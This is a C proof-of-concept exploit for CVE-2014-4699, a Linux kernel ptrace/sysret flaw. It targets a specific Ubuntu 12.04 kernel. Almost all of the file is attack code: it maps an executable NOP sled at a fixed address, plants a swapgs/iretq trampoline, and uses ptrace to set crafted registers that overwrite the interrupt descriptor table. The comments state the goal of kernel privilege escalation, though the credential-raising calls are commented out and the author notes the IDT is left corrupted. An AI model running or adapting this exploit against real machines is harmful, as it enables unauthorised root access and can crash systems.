/** * CVE-2014-4699 ptrace/sysret PoC * by Vitaly Nikolenko * vnik@hashcrack.org * * > gcc -O2 poc_v0.c * * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the * following will trigger the #GP in sysret and overwrite the #PF handler so we * can land to our NOP sled mapped at 0x80000000. * However, once landed, the IDT will be trashed. We can either attempt to * restore it (then escalate privileges and execute our shellcode) or find * something else to overwrite that would transfer exec flow to our controlled * user-space address. Since 3.10.something, IDT is read-only anyway. If you * have any ideas, let me know. */ #include <stdio.h> #include <stdint.h> #include <assert.h> #include <sys/ptrace.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/syscall.h> #include <sys/user.h> #include <unistd.h> #include <sys/mman.h> #include <errno.h> #define SIZE 0x10000000 typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred); unsigned long __user_cs; unsigned long __user_ss; unsigned long __user_rflags; void __attribute__((regparm(3))) payload() { uint32_t *fixptr = (void*)0xffffffff81dd70e8; // restore the #PF handler *fixptr = -1; //commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630; //prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0; //commit_creds(prepare_kernel_cred((uint64_t)NULL)); //__asm__ volatile ("swapgs\n\t" // "..."); } int main() { struct user_regs_struct regs; uint8_t *trampoline, *tmp; int status; struct { uint16_t limit; uint64_t addr; } __attribute__((packed)) idt; // MAP_POPULATE so we don't trigger extra #PF trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0); assert(trampoline == 0x80000000); memset(trampoline, 0x90, SIZE); tmp = trampoline; tmp += SIZE-1024; memcpy(tmp, &payload, 1024); memcpy(tmp-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf", 13); pid_t chld; if ((chld = fork()) < 0) { perror("fork"); exit(1); } if (chld == 0) { if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) { perror("PTRACE_TRACEME"); exit(1); } raise(SIGSTOP); fork(); return 0; } asm volatile("sidt %0" : "=m" (idt)); printf("IDT addr = 0x%lx\n", idt.addr); waitpid(chld, &status, 0); ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK); ptrace(PTRACE_CONT, chld, 0, 0); waitpid(chld, &status, 0); ptrace(PTRACE_GETREGS, chld, NULL, &regs); regs.rdi = 0x0000000000000000; regs.rip = 0x8fffffffffffffff; regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78; // attempt to restore the IDT regs.rdi = 0x0000000000000000; regs.rsi = 0x81658e000010cbd0; regs.rdx = 0x00000000ffffffff; regs.rcx = 0x81658e000010cba0; regs.rax = 0x00000000ffffffff; regs.r8 = 0x81658e010010cb00; regs.r9 = 0x00000000ffffffff; regs.r10 = 0x81668e0000106b10; regs.r11 = 0x00000000ffffffff; regs.rbx = 0x81668e0000106ac0; regs.rbp = 0x00000000ffffffff; regs.r12 = 0x81668e0000106ac0; regs.r13 = 0x00000000ffffffff; regs.r14 = 0x81668e0200106a90; regs.r15 = 0x00000000ffffffff; ptrace(PTRACE_SETREGS, chld, NULL, &regs); ptrace(PTRACE_CONT, chld, 0, 0); ptrace(PTRACE_DETACH, chld, 0, 0); }